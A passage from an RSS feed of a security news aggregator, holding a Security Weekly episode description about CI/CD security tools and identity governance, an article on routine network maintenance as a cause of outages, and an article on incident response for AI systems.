sophisticated across both insurance and healthcare, making identity management a critical line of defense. In this executive interview, Kim Brown, VP of Product Management, will explore how organizations can strengthen identity verification, authentication, and risk assessment to reduce fraud while improving user experiences. The discussion will highlight emerging threats, evolving regulatory expectations, and practical strategies for deploying identity solutions at scale. Attendees will gain actionable insights to protect customers, patients, and their organizations without adding friction.</p> <p>This segment is sponsored by LexisNexis Risk Solutions. Visit <a rel="noopener" target="_blank" href="https://securityweekly.com/lexisnexisidv">https://securityweekly.com/lexisnexisidv</a> to learn more about them!</p> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/esw">https://www.securityweekly.com/esw</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/esw-467">https://securityweekly.com/esw-467</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hungry? We talk Smoked Meat, Poutine, and Bagel - also, Identiverse Interviews! - ESW #467]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 1x - Views:2 Interview with François Proulx from Boost Security

Software Supply Chain Security: Build Pipeline (CI/CD) Exploitation

Boost Security is the creator of some very popular build pipeline security tools, like Bagel and Poutine....]]></description>
<link>https://tsecurity.de/de/3664747/it-security-video/hungry-we-talk-smoked-meat-poutine-and-bagel-also-identiverse-interviews-esw-467/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664747/it-security-video/hungry-we-talk-smoked-meat-poutine-and-bagel-also-identiverse-interviews-esw-467/</guid>
<pubDate>Mon, 13 Jul 2026 11:17:45 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 1x - Views:2 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/ywJwPPIWDOU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Interview with François Proulx from Boost Security<br />
<br />
Software Supply Chain Security: Build Pipeline (CI/CD) Exploitation<br />
<br />
Boost Security is the creator of some very popular build pipeline security tools, like Bagel and Poutine. Today, we discuss their latest tool, Smoked Meat. They describe it as "Like Metasploit, but for CI/CD pipelines".<br />
<br />
Segment Resources:<br />
- Smoked Meat announcement: https://labs.boostsecurity.io/articles/introducing-smokedmeat<br />
- Smoked Meat github: https://github.com/boostsecurityio/smokedmeat<br />
- Smoked Meat demo: https://www.youtube.com/watch?v=F5Hr_201Au8 with Guillaume and François<br />
<br />
Dr. John Prichard from Radiant Logic<br />
<br />
The Three Identity Problem: Surviving Identity Security's Chaotic Era<br />
<br />
Identity security has entered its chaotic era. Human, non-human, and agentic AI identities no longer just coexist. They form an uncontrolled inheritance chain in which a human creates an agent, the agent spins up service principals, OAuth grants, and role assignments, and that whole chain keeps running long after the human changes roles or leaves. Most of these chains are being spawned by business users on low-code and enterprise AI platforms, outside traditional identity controls and largely invisible to security.<br />
<br />
In this segment, Radiant Logic CEO Dr. John Pritchard joins us to unpack why this is no longer a visibility problem. It is an observability problem. And it is shifting the center of gravity in identity security from authentication to authorization. Listeners will leave with a clearer view of where their current IAM, IGA, and NHI programs fall short, and a practical lens for governing the rapidly expanding population of AI agents already inside their environments.<br />
<br />
To go deeper on what John discussed today, watch Radiant Logic's on-demand webinar Identities Under Attack: How Adversaries Exploit the Human-Machine-Agent Divide at https://securityweekly.com/radiantlogicidv.<br />
<br />
Cassie Christensen from Saviynt<br />
<br />
Everyone Wants an AI Assistant. Few Are Ready to Govern One<br />
<br />
Explore a growing reality many professionals can relate to: the appeal of using AI agents to handle the work that keeps piling up - from inbox management to research and logistics - and the governance challenges that quickly follow. The real barrier to scaling personal or enterprise AI agents isn’t the technology itself, but defining clear roles, access boundaries, oversight, and lifecycle management. As organizations deploy more autonomous AI agents, the same identity frameworks used to govern workforce and non-employee identities must now evolve to manage AI-driven access before scale and risk outpace control.<br />
<br />
This segment is sponsored by Saviynt. Learn more or get a free demo at https://securityweekly.com/saviyntidv<br />
<br />
Jaime Lewis-Gross from Saviynt<br />
<br />
From Sales Engineer to Forward Deployed Engineer: The Rise of Hybrid Technical Roles<br />
<br />
As technology organizations evolve, technical roles are becoming increasingly fluid - particularly at the intersection of product, engineering, and customer success. This conversation explores what it means to be a modern sales engineer and how the role is increasingly expanding into responsibilities often associated with forward deployed engineers: translating complex technical capabilities into real-world outcomes, solving customer challenges in real time, and serving as a critical bridge between product teams and end users. At the center of this evolution is a customer-first mindset - one that prioritizes listening, adaptability, and long-term partnership. As organizations race to innovate, the companies that stand out will be those that remain deeply focused on customer needs while empowering technical teams to operate beyond traditional role boundaries.<br />
<br />
This segment is sponsored by Saviynt. Learn more or get a free demo at https://securityweekly.com/saviyntidv<br />
<br />
Kim Brown from LexisNexis<br />
<br />
Stop Identity Fraud: Modern Strategies for Insurance and Healthcare<br />
<br />
Identity fraud is growing more sophisticated across both insurance and healthcare, making identity management a critical line of defense. In this executive interview, Kim Brown, VP of Product Management, will explore how organizations can strengthen identity verification, authentication, and risk assessment to reduce fraud while improving user experiences. The discussion will highlight emerging threats, evolving regulatory expectations, and practical strategies for deploying identity solutions at scale. Attendees will gain actionable insights to protect customers, patients, and their organizations without adding friction.<br />
<br />
This segment is sponsored by LexisNexis Risk Solutions. Visit https://securityweekly.com/lexisnexisidv to learn more about them!<br />
<br />
Visit https://www.securityweekly.com/esw for all the latest episodes!<br />
<br />
Show Notes: https://securityweekly.com/esw-467<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Routine maintenance as a failure vector in modern networks]]></title>
<description><![CDATA[Early in my consulting career, I assumed maintenance windows reduced risk. After all, the purpose of planned maintenance is to improve reliability, apply fixes and prevent future outages. That assumption changed after I participated in what should have been a routine infrastructure change.



Eve...]]></description>
<link>https://tsecurity.de/de/3664719/it-security-nachrichten/routine-maintenance-as-a-failure-vector-in-modern-networks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664719/it-security-nachrichten/routine-maintenance-as-a-failure-vector-in-modern-networks/</guid>
<pubDate>Mon, 13 Jul 2026 11:08:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Early in my consulting career, I assumed maintenance windows reduced risk. After all, the purpose of planned maintenance is to improve reliability, apply fixes and prevent future outages. That assumption changed after I participated in what should have been a routine infrastructure change.</p>



<p>Every pre-check passed. Device health looked normal. High-availability synchronization was complete. Monitoring showed no obvious concerns. Yet shortly after the change, users began reporting application failures.</p>



<p>The root cause was not a failed upgrade, hardware fault or software defect. The maintenance activity exposed a dependency elsewhere in the traffic path that nobody had considered.</p>



<p>Since then, I have seen similar patterns repeatedly across enterprise environments. The change itself was rarely the problem. The problem was the assumption that the change was isolated.</p>



<p>Planned maintenance is intended to reduce risk, but in practice, it often introduces risk into an otherwise stable network.</p>



<p>Many production incidents result from routine tasks such as firewall updates, DNS changes, certificate renewals, routing adjustments, load balancer failovers, WAF updates, switch upgrades or software patches, rather than dramatic failures.</p>



<p>The reality is that “routine” does not equate to “low risk.” It simply means the activity has been performed before, not that the current environment will respond the same way.</p>



<p>Modern networks have become too interconnected for maintenance to be treated as a simple device-level task. A change to one control point can expose a dependency elsewhere in the traffic path. A firewall update can affect asymmetric return traffic. A DNS change can shift users to a data center where persistence is not aligned. A load balancer failover can expose stale ARP or MAC learning issues. A certificate renewal can cause an inspection or TLS negotiation to fail in the backend. A WAF update can block application behavior that was never visible in testing.</p>



<p>Failures rarely stem from the maintenance activity itself, but rather from the assumption that the change is isolated.</p>



<h2 class="wp-block-heading">Why routine changes still cause outages</h2>



<p>In traditional network operations, the unit of change was often a device: upgrade a switch, modify a router, add a firewall rule, renew a certificate or reboot an appliance. That model worked better when application traffic paths were simpler, and dependencies were easier to understand.</p>



<p>Today, a single user transaction may cross DNS, global traffic management, WAN routing, data center switching, firewalls, load balancers, TLS inspection points, WAF policies, API gateways and backend application tiers. Each layer may make an independent decision about availability, security, routing or session handling.</p>



<p>This creates a risky maintenance pattern. Teams often validate only the component they changed, not the complete traffic flow before and after the change. Devices may appear healthy, configurations may load correctly and all checks may pass, yet users can still experience failures due to a changed dependency somewhere in the end-to-end path.</p>



<p>Google’s Site Reliability Engineering (SRE) guidance highlights that changes remain one of the most common sources of service disruption, which is why mature organizations invest heavily in change validation, rollback planning and observability. <a href="https://sre.google/sre-book/">The SRE book</a> provides extensive discussion of change management, reliability engineering and operational risk in large-scale environments.</p>



<p>For this reason, maintenance windows should be evaluated as both operational events and potential failure vectors.</p>



<h2 class="wp-block-heading">Common failure points during maintenance</h2>



<p>One common issue is state mismatch. Firewalls, load balancers, NAT devices and application delivery controllers often maintain connection or session state. During failover, reboot or path change, existing flows may not survive even if the standby device becomes active as designed. New connections may succeed while long-lived sessions fail. In other cases, traffic may enter through one device and return through another, causing stateful inspection to drop packets that appear invalid.</p>



<p>Asymmetric routing is another frequent cause. A routing change may look harmless from a Layer 3 perspective, but if the forward and return paths traverse different firewalls or inspection zones, applications can fail intermittently. The network may still be “up,” but the security policy no longer sees the full conversation.</p>



<p>Layer 2 behavior is also underestimated. In highly available data center designs, MAC learning, ARP cache behavior, VLAN tagging, port channels and first-hop gateway behavior can determine whether traffic moves cleanly after a failover. A device may successfully assume an active role, but upstream switches or firewalls may still forward traffic toward the old path until tables age out or are refreshed.</p>



<p>DNS and GSLB changes introduce a different class of risk. Teams often test name resolution, but resolution is only the first step. The more important question is where users are being sent and whether that destination is ready to handle production traffic.</p>



<p><a href="https://www.internetsociety.org/resources/deploy360/dns/">DNS resilience guidance published by the Internet Society</a> emphasizes that successful name resolution alone does not guarantee application availability, particularly when multiple infrastructure dependencies exist behind the DNS response.</p>



<p>If global traffic management shifts users from one data center to another, the receiving site must have aligned firewall rules, load balancer configuration, health monitors, certificates, persistence behavior, routing advertisements and backend capacity. Otherwise, DNS sends users to a site that is not actually ready.</p>



<p>Certificate maintenance can also break more than the browser-facing endpoint. In many environments, TLS is terminated, re-encrypted, inspected or validated across multiple hops. Renewing a certificate on the external virtual server may not address backend certificates, intermediate chains, SNI behavior, cipher compatibility or trust stores used by inspection devices. The maintenance task may be described as a certificate renewal, but the real dependency is end-to-end TLS negotiation.</p>



<p>Security policy maintenance creates another risk. WAFs, IPSs, DDoS protection systems, bot defense platforms and firewall policies are designed to block abnormal behavior. But during updates, tuning changes or signature refreshes, they can also block legitimate application traffic if policy enforcement is not validated against real transaction patterns.</p>



<p>This is especially true for APIs, where small differences in headers, methods, payload structure or authentication flows can trigger unexpected enforcement.</p>



<h2 class="wp-block-heading">The test environment problem</h2>



<p>Many teams rely on pre-checks and test environments, but these controls are often less effective than they seem.</p>



<p>Pre-checks confirm device reachability, interface status, route existence, pool member availability and HA health. While necessary, these checks do not ensure production traffic will survive a path change because they focus on infrastructure rather than transaction validation.</p>



<p>Test environments rarely mirror production. Production environments involve real user volume, client diversity, DNS caching behavior, firewall states, certificates, backend latency and complex dependencies. A failover that succeeds in a lab may behave very differently in the real world.</p>



<p>This does not render testing useless, but test results should not be considered proof of production safety. They provide evidence, not a guarantee.<br><br>This challenge aligns with broader <a href="https://www.nist.gov/cyberframework">operational resilience guidance from the NIST Cybersecurity Framework</a>, which emphasizes continuous monitoring, validation and recovery planning as critical operational capabilities.</p>



<p>A stronger maintenance process starts with mapping the traffic path before the window. For critical applications, teams should understand the normal ingress path, egress path, firewall zones, NAT points, load balancer virtual servers, DNS or GSLB decision points, TLS termination points, persistence requirements and backend dependencies.</p>



<p>The next step is defining failure expectations. What happens to existing sessions if a firewall is rebooted? Should source MAC, floating IP, ARP or upstream forwarding behavior change during a load balancer failover? How long will cached clients continue to access the old site after a DNS shift? Which clients and inspection devices validate the certificate chain when a certificate is replaced?</p>



<p>These questions should be addressed before the maintenance window, not during an outage.</p>



<p>Pre-checks should include both control-plane and data-plane evidence. Control-plane checks confirm configuration, synchronization, device health, routing tables, interface status and object availability. Data-plane checks validate real traffic movement: TCP handshakes, TLS negotiation, HTTP status codes, API responses, session persistence, source NAT behavior and return-path consistency.</p>



<p>During the change, monitoring should focus on symptoms that expose traffic failure early. Device CPU and interface status are useful, but they are not enough. Teams should also watch connection resets, denied firewall logs, WAF violation spikes, pool member selection failures, DNS answer changes, TCP retransmissions, backend 5xx errors and synthetic transaction results.</p>



<p>Rollback planning must also be precise. Simply rolling back a configuration is often insufficient. If a DNS record changes, cached clients may continue using the previous answer. If a firewall state table is cleared, restoring the rule does not recover active sessions. If failover alters forwarding behavior, upstream devices may require ARP refresh, route reconvergence or manual validation.</p>



<p>An effective rollback plan should identify lost state, persistent caches and the evidence required to confirm recovery.</p>



<h2 class="wp-block-heading">Treating maintenance as a resilience exercise</h2>



<p>The objective is not to make maintenance overly complex or bureaucratic. The objective is to avoid underestimating its risks.</p>



<p>Every maintenance window is a controlled opportunity to test whether the network behaves as specified by the architecture.</p>



<p>If failover is part of the design, maintenance should verify failover behavior. If a secondary data center is expected to handle traffic, maintenance should demonstrate that it can process real transactions. If security policies are updated, maintenance should prove that legitimate traffic is still allowed. If certificates are renewed, maintenance should validate the complete TLS path, not just the public endpoint.</p>



<p><a href="https://uptimeinstitute.com/resources">Industry outage studies published by the Uptime</a> Institute consistently show that human error and process failures remain significant contributors to downtime. Their annual outage research continues to highlight the role of operational processes and maintenance activities in service disruptions.<br><br>Maintenance windows provide an opportunity to identify those weaknesses before they become customer-facing incidents.</p>



<p>This requires closer collaboration between network, security, application and operations teams. Network engineers may own routing or load-balancing changes, but application teams understand transaction flows. Security teams understand inspection and enforcement behavior. Operations teams often see user-impacting symptoms first.</p>



<p>Treating maintenance as a shared traffic event rather than a device event reduces blind spots.</p>



<p>Routine maintenance will always involve some risk. However, the greatest risk is the false confidence that the term ‘routine’ conveys.</p>



<p>Modern networks fail in the spaces between systems: between DNS and load balancing, between firewalls and routing, between TLS inspection and application behavior, between HA design and actual forwarding state. Maintenance exposes those spaces.</p>



<p>For that reason, network teams should view every maintenance window as more than a checklist. It is a live test of architecture, operational discipline and production resilience.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your AI risk register is not an incident response plan]]></title>
<description><![CDATA[Picture the moment after an AI issue is reported.



A security analyst is reviewing a ticket reporting that an internal AI tool produced the wrong recommendation in a live business workflow. The risk is not theoretical anymore. Someone wants to know whether this is a security incident, a model i...]]></description>
<link>https://tsecurity.de/de/3664715/it-security-nachrichten/your-ai-risk-register-is-not-an-incident-response-plan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664715/it-security-nachrichten/your-ai-risk-register-is-not-an-incident-response-plan/</guid>
<pubDate>Mon, 13 Jul 2026 11:08:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Picture the moment after an AI issue is reported.</p>



<p>A security analyst is reviewing a ticket reporting that an internal AI tool produced the wrong recommendation in a live business workflow. The risk is not theoretical anymore. Someone wants to know whether this is a security incident, a model issue, a privacy issue, a vendor issue or just “something the AI did.” The risk register has a line item for inaccurate output, and it may even have a severity rating.</p>



<p>What it does not have is an answer to the question everyone is now asking: who has the authority to stop this thing?</p>



<p>That is the gap many <a href="https://www.nist.gov/itl/ai-risk-management-framework">AI governance programs</a> still need to close. Organizations are getting better at identifying AI risks, documenting them and assigning them to governance categories. What they are often less prepared for is the operational moment when an AI risk becomes a real event that has to be investigated, contained and explained.</p>



<p>In security programs, that distinction matters. A risk register can document concerns, but it cannot preserve evidence, notify leadership, assess impact or decide whether an AI system should keep running. Security leaders do not need another spreadsheet that says AI can fail; they need an executable response model for what happens when it does.</p>



<h2 class="wp-block-heading">The list is not the response</h2>



<p>Risk registers are useful because they create visibility. They help organizations name risks, compare severity, assign ownership and communicate concerns to leadership. In early AI adoption, visibility matters because many organizations are still discovering where AI is being used, what data is involved and which business processes may be affected.</p>



<p>But a risk register is not a control. Security teams already understand this in other domains. A list of vulnerabilities is not a vulnerability management program, and a list of third-party risks is not a vendor risk management function. The list is only the beginning of the work.</p>



<p>AI risk creates the same problem. A risk entry that says “model output may be inaccurate” does not define who monitors output quality, what level of error is acceptable, what evidence should be preserved or who can pause the system. A risk entry that says “sensitive data may be exposed” does not explain whether prompts are logged, whether outputs are reviewed, whether the vendor can use submitted data or whether the event should trigger privacy, legal or security escalation.</p>



<p>This is where AI governance can look stronger than it actually is. The organization may have a policy, a committee, an intake form and a risk register, but those artifacts do not automatically create operational readiness. When something happens, the real test is whether the organization knows what to do next.</p>



<h2 class="wp-block-heading">AI incidents do not always look like breaches</h2>



<p>Part of the challenge is that AI incidents do not always look like traditional cybersecurity incidents. A breach has familiar patterns: unauthorized access, data exfiltration, malware, credential compromise or suspicious activity in a system. AI failures can be messier because they may appear first as a bad recommendation, a misleading summary, an unsafe automation, a flawed classification or an output that quietly changes a decision.</p>



<p>That does not make them less important. An AI tool used in a security workflow could misclassify an alert. A <a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/">generative AI assistant</a> could expose sensitive information in a response. A model embedded in a business process could drift over time and produce unreliable recommendations. A vendor-managed AI feature could change behavior after an update that the organization did not fully review.</p>



<p>Security teams need a practical way to sort these events. Not every AI error should be treated as a full security incident. Still, every organization using AI in meaningful workflows should know how AI-related events are reported, triaged and escalated. Without that structure, teams may lose time debating ownership while the impact continues.</p>



<p>The first step is defining <a href="https://www.oecd.org/en/publications/towards-a-common-reporting-framework-for-ai-incidents_f326d4ac-en.html">what counts as an AI incident</a>. That definition should be broad enough to capture security, privacy, safety, operational and compliance concerns, but specific enough that employees know when to report something. A confusing chatbot answer may not require the same response as a data exposure event, but both should have a path for review.</p>



<h2 class="wp-block-heading">Evidence has to exist before the investigation</h2>



<p>Incident response depends on evidence. That is obvious in cybersecurity, but it is often overlooked in AI governance conversations. If an organization cannot reconstruct what happened, who used the system, what data was involved and what output was produced, it will struggle to investigate the event or defend its response.</p>



<p>AI systems can complicate that evidence trail. Prompts may not be logged. Outputs may not be retained. Vendor tools may provide limited visibility. Model versions may change. Users may copy AI-generated content into other systems without preserving its source. Business teams may treat AI output as a recommendation rather than a system event.</p>



<p>Security leaders should push for evidence requirements before AI systems move into production. At a minimum, organizations should know what logs are available, how long they are retained, who can access them and whether they are sufficient for investigation. For higher-risk use cases, teams may also need records of model version, prompt history, output history, user actions, data sources and downstream decisions.</p>



<p>This does not mean every AI interaction needs heavy surveillance. Monitoring should be proportional to risk, and organizations still need to respect privacy, legal and workforce considerations. The point is simpler: if the AI system matters enough to influence real work, it matters enough to leave an evidence trail when something goes wrong.</p>



<h2 class="wp-block-heading">Ownership cannot be implied</h2>



<p>AI ownership is often fragmented. A business unit may sponsor the use case, a data science team may configure the model, IT may manage the platform, security may assess risk, and a vendor may provide the underlying capability. Everyone is involved, but no one may be fully accountable after deployment.</p>



<p>That ambiguity becomes dangerous during an incident. If an AI tool begins producing unreliable output, the organization needs to know who owns the system, who owns the business process and who owns the decision to continue or stop use. A governance committee can provide oversight, but it usually cannot serve as the operational owner of every deployed AI capability.</p>



<p>Security programs should insist on named ownership for AI systems, especially those used in sensitive or high-impact workflows. Ownership should include responsibility for monitoring, exceptions, user guidance, vendor coordination and incident escalation. It should also include decision rights, because accountability without authority is just a name in a spreadsheet.</p>



<p>The hardest question is often pause authority. Who can suspend, restrict, roll back or retire an AI system when risk exceeds tolerance? If that question is not answered before deployment, the organization may be forced to answer it under pressure.</p>



<h2 class="wp-block-heading">Security leaders need an AI response playbook</h2>



<p>An AI response playbook does not need to be complicated, but it does need to be real. It should explain how employees report AI concerns, how the event is triaged, what evidence is preserved, who investigates, when legal or privacy teams are involved, and who can make operational decisions. It should also define when executive leadership needs to be notified.</p>



<p>The playbook should reflect the type of AI system involved. A low-risk internal productivity tool may require a lightweight review path. An AI system supporting security operations, regulated decisions, customer communication, healthcare workflows or financial processes needs stronger monitoring and escalation. The response model should fit the risk of the use case.</p>



<p>This is where security can add discipline without turning AI governance into bureaucracy. Security teams already know how to build escalation paths, preserve evidence, run incident reviews and improve controls after failures. The opportunity is to extend that operating muscle into AI governance before incidents force the issue.</p>



<p>Organizations should also conduct post-incident reviews for meaningful AI events. The goal should not be blame; it should be learning. Did the monitoring work? Was the owner clear? Was the evidence sufficient? Did the vendor respond? Were users confused about acceptable use? Did the organization know who could make the decision?</p>



<h2 class="wp-block-heading">Governance has to be executable</h2>



<p>AI governance is often discussed as a policy, ethics or compliance challenge. It is all of those things, but once AI systems enter production, it also becomes a security execution challenge. Risk has to be monitored, events have to be investigated and someone has to be able to act.</p>



<p>That is why the next maturity step is not simply better documentation. Organizations need governance that works when a system is live, a decision is time-sensitive and the facts are incomplete. In that moment, the risk register may help explain what the organization expected, but it will not run the response.</p>



<p>Security leaders should not wait for AI governance to arrive fully formed from somewhere else in the enterprise. They should help shape the operating model now, while many organizations are still early enough to correct course. The goal is not to own every AI risk; it is to ensure AI risk can be managed once AI becomes operational.</p>



<p>A risk register can tell leaders what might go wrong. An incident response plan tells people what to do when it does. For AI governance to matter in security programs, organizations need both.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,44ms -->